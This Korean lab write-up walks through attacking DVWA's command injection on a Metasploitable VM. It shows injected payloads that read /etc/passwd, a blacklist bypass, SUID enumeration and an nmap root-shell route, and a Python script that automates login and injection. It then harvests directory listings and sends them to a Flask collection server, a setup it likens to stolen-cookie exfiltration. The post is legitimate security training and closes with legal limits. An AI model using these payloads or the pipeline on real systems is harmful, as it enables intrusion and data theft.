커맨드 인젝션에서 수집 서버까지 파이프라인 만들기
DVWA의 커맨드 인젝션을 손으로 공격해보고, 그 공격을 파이썬으로 자동화한 뒤, 결과를 Flask 수집 서버로 보내 저장하기까지의 전 과정이다.
관통하는 개념은 하나다. 브라우저가 자동으로 해주던 걸 코드로 직접 통제한다 — 그게 공격의 원리다.
커맨드 인젝션의 원리
DVWA “Ping for FREE” 기능은 입력한 IP로 ping 을 실행하고 결과를 화면에 그대로 출력한다. 내부 코드는 이렇다.
shell_exec('ping -c 3 ' . $target)
사용자 입력이 셸 명령어에 직접 붙는다. 그래서 명령어 구분자로 다른 명령을 주입할 수 있다.
| 구분자 | 의미 |
|---|---|
; | 앞 명령이 끝나면 무조건 다음 실행 |
&& | 앞 명령이 성공하면 다음 실행 |
| | 앞 명령의 출력을 다음 명령의 입력으로 |
입력칸에 127.0.0.1; whoami 를 넣으면 ping 결과와 whoami 결과가 같이 출력되고, 127.0.0.1; cat /etc/passwd 로는 서버 계정 목록이 나온다.
레벨별 방어에서 배운 것
| 레벨 | 방어 방식 | 결과 |
|---|---|---|
| low | 검증 없음 | 바로 뚫림 |
| medium | 블랙리스트 (;, && 차단) | | 로 우회됨 |
| high | 화이트리스트 (explode + is_numeric + sizeof==4) | 사실상 안 뚫림 |
블랙리스트(나쁜 것 막기)보다 화이트리스트(좋은 형식만 허용)가 강하다. 허용할 것만 정의하면 우회 표면 자체가 사라진다.
권한 확인과 권한 상승
127.0.0.1; whoami 의 결과는 www-data 였다. 웹서버 권한이라 할 수 있는 게 제한적이고, /etc/shadow 는 root 전용이라 못 읽는다.
목표는 www-data → root 다.
find / -perm -4000 2>/dev/null
SUID 파일 목록을 뽑으니 /usr/bin/nmap 이 나왔다. nmap --interactive → !sh 로 root 셸을 띄울 수 있는 경로다. 단, 웹 입력칸으로는 대화형 실행이 안 된다. 리버스 셸로 진짜 터미널을 확보해야 이어갈 수 있다.
SUID는 파일 주인(root) 권한으로 실행되는 특수 권한이다. 평범하게 실행하면 권한이 안 남기 때문에, root로 도는 순간 셸을 띄워야 그 셸이 root를 상속한다.
HTTP는 상태가 없다
매 요청이 서로 남남이라 서버는 로그인을 기억하지 못한다. 그래서 쿠키로 매번 “나 로그인한 사람이야”를 증명한다.
- 로그인하면 서버가
Set-Cookie로 PHPSESSID를 발급 - 이후 요청마다
Cookie헤더로 그 값을 보냄 → 로그인 상태 유지 Set-Cookie는 서버→클라이언트(발급),Cookie는 클라이언트→서버(제시)
여기서 중요한 게 하나 있다. 세션은 계정이 아니라 쿠키에 묶인다. 같은 쿠키면 같은 세션이고, 쿠키만 있으면 그 사람 행세가 가능하다. 세션 하이재킹의 원리다.
브라우저는 쿠키를 자동으로 관리하고 첨부해서 평소엔 안 느껴진다. 파이썬은 안 해주니 requests.Session() 으로 직접 관리해야 한다.
상태코드도 맥락에 따라 의미가 다르다. 로그인 요청에서 302는 성공(메인으로 리다이렉트)이고, 공격 페이지 요청에서는 200이 성공, 302면 로그인이 안 된 것이다.
파이썬으로 자동화
내 계정 하나 로그인하는 건 의미가 없다. 반복과 자동화가 코드를 쓰는 이유다. 공격 코드는 결국 “요청 보내기 → 응답 파싱 → 재사용” 사이클이고, 여기에 반복문을 씌우면 브루트포스가, 페이로드를 바꾸면 인젝션 자동화가 된다.
s = requests.Session() # 쿠키 자동 관리
# 로그인 → 쿠키 획득
s.post(login_url,
data={"username": "admin", "password": "password", "Login": "Login"},
allow_redirects=False) # 302 확인
# → DVWA v1.0.7은 user_token 검증이 느슨해 토큰 없이도 로그인됨
# 같은 세션 s로 공격 → 쿠키 자동 첨부
r = s.post(exec_url, data={"ip": "127.0.0.1; whoami", "submit": "submit"})
result = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL) # 결과 추출
웹에서 손으로 하던 공격을 코드로 하면 결과가 터미널에 똑같이 출력된다. 같은 서버에 같은 요청을 보내니 같은 응답이 오고, 표시되는 장소만 다를 뿐이다.
디버깅할 때는 요청에 proxies={"http": "http://127.0.0.1:8080"} 을 넣으면 Burp HTTP history에서 내 코드가 보낸 요청을 그대로 볼 수 있다.
재귀 디렉터리 탐색 — 자동화의 진가
| ls -al [경로] 로 디렉터리 목록을 얻고, 결과에서 폴더(d 로 시작하는 줄)를 발견하면 그 안으로 재귀 호출해서 끝까지 훑는다.
손으로는 불가능한 전체 디렉터리 구조 자동 수집이 된다. “왜 코드를 쓰는가”에 대한 가장 완벽한 예였다. 처음엔 /var/www/ 처럼 작은 범위로 테스트하고, 길어지면 Ctrl+C 로 중단한다.
Flask 수집 서버
왜 굳이 서버를 거치나
바로 엑셀에 저장해도 된다. 그런데도 Flask를 중간에 둔 이유는 “수집 → 전송 → 서버 저장” 구조를 연습하는 게 목적이기 때문이다.
- 실무에서는 여러 공격 머신의 데이터를 중앙 서버 한 곳에 모은다
- XSS 쿠키 탈취와 완전히 같은 구조다 (데이터를 공격자 서버로 전송)
- 수집하는 쪽과 저장·처리하는 쪽을 분리할 수 있다
- 나중에 DB 저장이나 알림 발송을 붙일 때 서버 쪽만 고치면 된다
[공격 코드] [Flask 서버]
디렉터리 수집 → JSON전송 → 받아서 → 엑셀 저장
(만드는 쪽) (저장하는 쪽)
Flask 서버
from flask import Flask, request
import openpyxl
app = Flask(__name__)
@app.route("/", methods=["POST"])
def save_to_excel():
data = request.get_json()
wb = openpyxl.Workbook()
ws = wb.active
ws.title = "Files"
ws.append(["Path", "Filename"])
for row in data:
ws.append([row.get("path", ""), row.get("filename", "")])
wb.save("result.xlsx")
return {"status": "ok", "rows": len(data)}, 200
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8888)
request.get_json() 으로 JSON을 파싱하고, openpyxl 로 엑셀을 만들어 행마다 기록한 뒤 저장한다. 응답으로 {"status": "ok", "rows": N} 을 돌려주면 보낸 쪽에서 성공 여부를 확인할 수 있다.
전송 스크립트
import requests
import csv
FLASK_URL = "http://127.0.0.1:8888/"
results = []
with open("result.csv", "r") as f:
reader = csv.reader(f)
for row in reader:
if len(row) == 2:
results.append({"path": row[0], "filename": row[1]})
res = requests.post(FLASK_URL, json=results)
print(f"Flask 응답: {res.status_code}, 저장된 행: {res.json().get('rows')}")
실행 순서
Flask 서버를 먼저 켜야 한다. 수집 대기 상태가 아니면 전송이 실패한다.
# 터미널 1 — 수집 서버
python 1.py
# 터미널 2 — 데이터 전송
python send.py
서버 쪽에 이런 로그가 찍히면 성공이다.
127.0.0.1 - - [날짜] "POST / HTTP/1.1" 200 -
보낸 쪽 출력은 이렇다.
Flask 응답: 200, 저장된 행: 2049
필요한 패키지는 pip install flask openpyxl requests 다.
저장 위치와 영구성
| 저장 위치 | 서버 끄면? |
|---|---|
| 파일 (엑셀/CSV) | 남음 (지금 방식) |
| 메모리 (변수) | 사라짐 |
| DB (SQLite/MySQL) | 남음 (실무 표준) |
여러 컴퓨터가 동시에 수집하면 파일은 충돌한다. 그래서 실무는 DB를 쓴다 — 동시 접근을 전제로 설계돼 있으니까. wb.save() 부분만 DB insert로 바꾸면 실무 버전이 된다.
네트워크 정리
| IP | 정체 |
|---|---|
192.168.10.102 | Metasploitable (DVWA 깔린 취약 타겟) ← 공격 대상 |
192.168.10.101 | 내 맥 (Flask 서버 위치) |
127.0.0.1 | “자기 자신”(루프백) = 내 맥 = Flask |
127.0.0.1 은 항상 자기 자신이고 Metasploitable과는 무관하다. 그리고 파이썬 세션과 브라우저 세션은 각자 다른 PHPSESSID를 가지므로 완전히 별개다.
완성한 파이프라인
DVWA 커맨드 인젝션 (손)
→ 파이썬으로 자동화 (로그인 → 쿠키 → 인젝션)
→ 재귀 디렉터리 전체 탐색
→ JSON으로 Flask 수집 서버 전송
→ 엑셀(result.xlsx) 영구 저장
모의해킹 프로젝트의 축소판이다. 취약 서버 → 공격 → 결과 수집 → 전송 → 저장의 전 과정을 직접 구현해본 셈이다.
경계에 대해
DVWA와 Metasploitable은 공격 연습용으로 만들어진 환경이라 마음껏 해도 된다. 하지만 실제 서비스에 같은 짓을 하면 정보통신망법 위반이다. 합법적으로 실전을 하려면 버그바운티나 모의해킹 계약처럼 정식 권한이 있어야 한다.
배우는 이유는 결국 공격 원리를 이해해서 방어하거나, 권한을 받고 합법적으로 진단하기 위해서다.